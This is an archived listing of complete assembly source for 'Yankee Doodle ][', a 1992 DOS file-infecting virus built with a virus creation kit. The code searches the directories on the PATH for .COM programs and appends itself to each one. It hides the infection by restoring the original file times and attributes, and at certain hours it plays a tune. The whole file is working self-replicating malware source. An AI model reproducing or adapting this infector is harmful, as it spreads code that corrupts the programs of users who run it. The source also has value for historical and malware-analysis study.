home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / YANKEE2.ASM < prev    next >
Assembly Source File  |  1992-07-05  |  11KB  |  342 lines

  1. ; YANKEE2.ASM -- Yankee Doodle ][
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Nowhere Man
  4.  
  5. virus_type    equ    0            ; Appending Virus
  6. is_encrypted    equ    0            ; We're not encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. main        proc    near
  14.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  15. start:        call    find_offset        ; Like a PUSH IP
  16. find_offset:    pop    bp            ; BP holds old IP
  17.         sub    bp,offset find_offset    ; Adjust for length of host
  18.  
  19.         lea    si,[bp + buffer]    ; SI points to original start
  20.         mov    di,0100h        ; Push 0100h on to stack for
  21.         push    di            ; return to main program
  22.         movsw                ; Copy the first two bytes
  23.         movsb                ; Copy the third byte
  24.  
  25.         mov    di,bp            ; DI points to start of virus
  26.  
  27.         mov    bp,sp            ; BP points to stack
  28.         sub    sp,128            ; Allocate 128 bytes on stack
  29.  
  30.         mov    ah,02Fh            ; DOS get DTA function
  31.         int    021h
  32.         push    bx            ; Save old DTA address on stack
  33.  
  34.         mov    ah,01Ah            ; DOS set DTA function
  35.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  36.         int    021h
  37.  
  38.         call    search_files        ; Find and infect a file
  39.         call    search_files        ; Find and infect another file
  40.         call    get_hour
  41.         cmp    ax,0011h        ; Did the function return 17?
  42.         jle    skip00            ; If less that or equal, skip effect
  43.         cmp    ax,0013h        ; Did the function return 19?
  44.         jge    skip00            ; If greater than or equal, skip effect
  45.         jmp    short strt00        ; Success -- skip jump
  46. skip00:        jmp    end00            ; Skip the routine
  47. strt00:        lea    si,[di + data00]    ; SI points to data
  48. get_note:    mov    bx,[si]            ; Load BX with the frequency
  49.         or    bx,bx            ; Is BX equal to zero?
  50.         je      play_tune_done        ; If it is we are finished
  51.  
  52.         mov    ax,034DDh        ;
  53.         mov    dx,0012h                ;
  54.         cmp    dx,bx                   ;
  55.         jnb    new_note                ;
  56.         div    bx                      ; This bit here was stolen
  57.         mov    bx,ax                   ; from the Turbo C++ v1.0
  58.         in    al,061h                 ; library file CS.LIB.  I
  59.         test    al,3                    ; extracted sound() from the
  60.         jne    skip_an_or              ; library and linked it to
  61.         or    al,3                    ; an .EXE file, then diassembled
  62.         out    061h,al                 ; it.  Basically this turns
  63.         mov    al,0B6h                 ; on the speaker at a certain
  64.         out    043h,al                 ; frequency.
  65. skip_an_or:    mov    al,bl                   ;
  66.         out    042h,al                 ;
  67.         mov    al,bh                   ;
  68.         out    042h,al                 ;
  69.  
  70.         mov    bx,[si + 2]        ; BX holds duration value
  71.         xor    ah,ah            ; BIOS get time function
  72.         int    1Ah
  73.         add    bx,dx            ; Add the time to the length
  74. wait_loop:      int    1Ah                     ; Get the time again (AH = 0)
  75.         cmp    dx,bx            ; Is the delay over?
  76.         jne    wait_loop        ; Repeat until it is
  77.  
  78.         in    al,061h            ; Stolen from the nosound()
  79.         and    al,0FCh                 ; procedure in Turbo C++ v1.0.
  80.         out    061h,al                 ; This turns off the speaker.
  81.  
  82. new_note:    add    si,4            ; SI points to next note
  83.         jmp    short get_note        ; Repeat with the next note
  84. play_tune_done:
  85.  
  86. end00:
  87. com_end:    pop    dx            ; DX holds original DTA address
  88.         mov    ah,01Ah            ; DOS set DTA function
  89.         int    021h
  90.  
  91.         mov    sp,bp            ; Deallocate local buffer
  92.  
  93.         xor    ax,ax            ;
  94.         mov    bx,ax            ;
  95.         mov    cx,ax            ;
  96.         mov    dx,ax            ; Empty out the registers
  97.         mov    si,ax            ;
  98.         mov    di,ax            ;
  99.         mov    bp,ax            ;
  100.  
  101.         ret                ; Return to original program
  102. main        endp
  103.  
  104. search_files    proc    near
  105.         mov    bx,di            ; BX points to the virus
  106.         push    bp            ; Save BP
  107.         mov    bp,sp            ; BP points to local buffer
  108.         sub    sp,135            ; Allocate 135 bytes on stack
  109.  
  110.         mov    byte ptr [bp - 135],'\'    ; Start with a backslash
  111.  
  112.         mov    ah,047h            ; DOS get current dir function
  113.         xor    dl,dl            ; DL holds drive # (current)
  114.         lea    si,[bp - 134]        ; SI points to 64-byte buffer
  115.         int    021h
  116.  
  117.         call    traverse_path        ; Start the traversal
  118.  
  119. traversal_loop:    cmp    word ptr [bx + path_ad],0    ; Was the search unsuccessful?
  120.         je    done_searching        ; If so then we're done
  121.         call    found_subdir        ; Otherwise copy the subdirectory
  122.  
  123.         mov    ax,cs            ; AX holds the code segment
  124.         mov    ds,ax            ; Set the data and extra
  125.         mov    es,ax            ; segments to the code segment
  126.  
  127.         xor    al,al            ; Zero AL
  128.         stosb                ; NULL-terminate the directory
  129.  
  130.         mov    ah,03Bh            ; DOS change directory function
  131.         lea    dx,[bp - 70]        ; DX points to the directory
  132.         int    021h
  133.  
  134.         lea    dx,[bx + com_mask]    ; DX points to "*.COM"
  135.         push    di
  136.         mov    di,bx
  137.         call    find_files        ; Try to infect a .COM file
  138.         mov    bx,di
  139.         pop    di
  140.         jnc    done_searching        ; If successful the exit
  141.         jmp    short traversal_loop    ; Keep checking the PATH
  142.  
  143. done_searching:    mov    ah,03Bh            ; DOS change directory function
  144.         lea    dx,[bp - 135]        ; DX points to old directory
  145.         int    021h
  146.  
  147.         cmp    word ptr [bx + path_ad],0    ; Did we run out of directories?
  148.         jne    at_least_tried        ; If not then exit
  149.         stc                ; Set the carry flag for failure
  150. at_least_tried:    mov    sp,bp            ; Restore old stack pointer
  151.         pop    bp            ; Restore BP
  152.         ret                ; Return to caller
  153. com_mask    db    "*.COM",0        ; Mask for all .COM files
  154. search_files    endp
  155.  
  156. traverse_path    proc    near
  157.         mov    es,word ptr cs:[002Ch]    ; ES holds the enviroment segment
  158.         xor    di,di            ; DI holds the starting offset
  159.  
  160. find_path:    lea    si,[bx + path_string]    ; SI points to "PATH="
  161.         lodsb                ; Load the "P" into AL
  162.         mov    cx,08000h        ; Check the first 32767 bytes
  163.     repne    scasb                ; Search until the byte is found
  164.         mov    cx,4            ; Check the next four bytes
  165. check_next_4:    lodsb                ; Load the next letter of "PATH="
  166.         scasb                ; Compare it to the environment
  167.         jne    find_path        ; If there not equal try again
  168.         loop    check_next_4        ; Otherwise keep checking
  169.  
  170.         mov    word ptr [bx + path_ad],di    ; Save the PATH address
  171.         mov    word ptr [bx + path_ad + 2],es  ; Save the PATH's segment
  172.         ret                ; Return to caller
  173.  
  174. path_string    db    "PATH="            ; The PATH string to search for
  175. path_ad        dd    ?            ; Holds the PATH's address
  176. traverse_path    endp
  177.  
  178. found_subdir    proc    near
  179.         lds    si,dword ptr [bx + path_ad]    ; DS:SI points to PATH
  180.         lea    di,[bp - 70]        ; DI points to the work buffer
  181.         push    cs            ; Transfer CS into ES for
  182.         pop    es            ; byte transfer
  183. move_subdir:    lodsb                ; Load the next byte into AL
  184.         cmp    al,';'            ; Have we reached a separator?
  185.         je    moved_one        ; If so we're done copying
  186.         or    al,al            ; Are we finished with the PATH?
  187.         je    moved_last_one        ; If so get out of here
  188.         stosb                ; Store the byte at ES:DI
  189.         jmp    short move_subdir    ; Keep transfering characters
  190.  
  191. moved_last_one:    xor    si,si            ; Zero SI to signal completion
  192. moved_one:    mov    word ptr es:[bx + path_ad],si  ; Store SI in the path address
  193.         ret                ; Return to caller
  194. found_subdir    endp
  195.  
  196. find_files    proc    near
  197.         push    bp            ; Save BP
  198.  
  199.         mov    ah,02Fh            ; DOS get DTA function
  200.         int    021h
  201.         push    bx            ; Save old DTA address
  202.  
  203.         mov    bp,sp            ; BP points to local buffer
  204.         sub    sp,128            ; Allocate 128 bytes on stack
  205.  
  206.         push    dx            ; Save file mask
  207.         mov    ah,01Ah            ; DOS set DTA function
  208.         lea    dx,[bp - 128]        ; DX points to buffer
  209.         int    021h
  210.  
  211.         mov    ah,04Eh            ; DOS find first file function
  212.         mov    cx,00100111b        ; CX holds all file attributes
  213.         pop    dx            ; Restore file mask
  214. find_a_file:    int    021h
  215.         jc    done_finding        ; Exit if no files found
  216.         call    infect_file        ; Infect the file!
  217.         jnc    done_finding        ; Exit if no error
  218.         mov    ah,04Fh            ; DOS find next file function
  219.         jmp    short find_a_file    ; Try finding another file
  220.  
  221. done_finding:    mov    sp,bp            ; Restore old stack frame
  222.         mov    ah,01Ah            ; DOS set DTA function
  223.         pop    dx            ; Retrieve old DTA address
  224.         int    021h
  225.  
  226.         pop    bp            ; Restore BP
  227.         ret                ; Return to caller
  228. find_files    endp
  229.  
  230. infect_file    proc    near
  231.         mov    ah,02Fh            ; DOS get DTA address function
  232.         int    021h
  233.         mov    si,bx            ; SI points to the DTA
  234.  
  235.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  236.  
  237.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  238.         jbe    size_ok            ; If it's small enough continue
  239.         jmp    infection_done        ; Otherwise exit
  240.  
  241. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  242.         lea    dx,[si + 01Eh]        ; DX points to file name
  243.         int    021h
  244.         xchg    bx,ax            ; BX holds file handle
  245.  
  246.         mov    ah,03Fh            ; DOS read from file function
  247.         mov    cx,3            ; CX holds bytes to read (3)
  248.         lea    dx,[di + buffer]    ; DX points to buffer
  249.         int    021h
  250.  
  251.         mov    ax,04202h        ; DOS file seek function, EOF
  252.         cwd                ; Zero DX _ Zero bytes from end
  253.         mov    cx,dx            ; Zero CX /
  254.         int    021h
  255.  
  256.         xchg    dx,ax            ; Faster than a PUSH AX
  257.         mov    ah,03Eh            ; DOS close file function
  258.         int    021h
  259.         xchg    dx,ax            ; Faster than a POP AX
  260.  
  261.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  262.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  263.         je    infection_done        ; If equal then exit
  264.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  265.         add    ax,finish - start    ; Re-adjust to make the jump
  266.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  267.  
  268.         mov    ax,04301h        ; DOS set file attrib. function
  269.         xor    cx,cx            ; Clear all attributes
  270.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  271.         int    021h
  272.  
  273.         mov    ax,03D02h        ; DOS open file function, r/w
  274.         int    021h
  275.         xchg    bx,ax            ; BX holds file handle
  276.  
  277.         mov    ah,040h            ; DOS write to file function
  278.         mov    cx,3            ; CX holds bytes to write (3)
  279.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  280.         int    021h
  281.  
  282.         mov    ax,04202h        ; DOS file seek function, EOF
  283.         cwd                ; Zero DX _ Zero bytes from end
  284.         mov    cx,dx            ; Zero CX /
  285.         int    021h
  286.  
  287.         mov    ah,040h            ; DOS write to file function
  288.         mov    cx,finish - start    ; CX holds virus length
  289.         lea    dx,[di + start]        ; DX points to start of virus
  290.         int    021h
  291.  
  292.         mov    ax,05701h        ; DOS set file time function
  293.         mov    cx,[si + 016h]        ; CX holds old file time
  294.         mov    dx,[si + 018h]        ; DX holds old file date
  295.         int    021h
  296.  
  297.         mov    ah,03Eh            ; DOS close file function
  298.         int    021h
  299.  
  300.         mov    ax,04301h        ; DOS set file attrib. function
  301.         xor    ch,ch            ; Clear CH for file attribute
  302.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  303.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  304.         int    021h
  305.  
  306. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  307.         ret                ; Return to caller
  308.  
  309. set_carry    db    ?            ; Set-carry-on-exit flag
  310. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  311. new_jump    db    0E9h,?,?        ; New jump to virus
  312. infect_file    endp
  313.  
  314.  
  315. get_hour        proc    near
  316.         mov    ah,02Ch            ; DOS get time function
  317.         int    021h
  318.         mov    al,ch            ; Copy hour into AL
  319.         cbw                ; Sign-extend AL into AX
  320.         ret                ; Return to caller
  321. get_hour        endp
  322.  
  323. data00        dw    262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6
  324.         dw    262,6,262,6,293,6,329,6,262,12,262,12
  325.         dw    262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6
  326.         dw    246,6,196,6,220,6,246,6,262,12,262,12
  327.         dw    220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6
  328.         dw    196,6,220,6,196,6,174,6,164,6,174,6,196,7
  329.         dw    220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7
  330.         dw    196,6,262,6,246,6,293,6,262,12,262,12
  331.         dw    0
  332.  
  333. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  334.  
  335.  
  336. note        db    "[Yankee Doodle 2]",0
  337.         db    "Nowhere Man, [NuKE] '92",0
  338.  
  339. finish        label    near
  340.  
  341. code        ends
  342.         end    main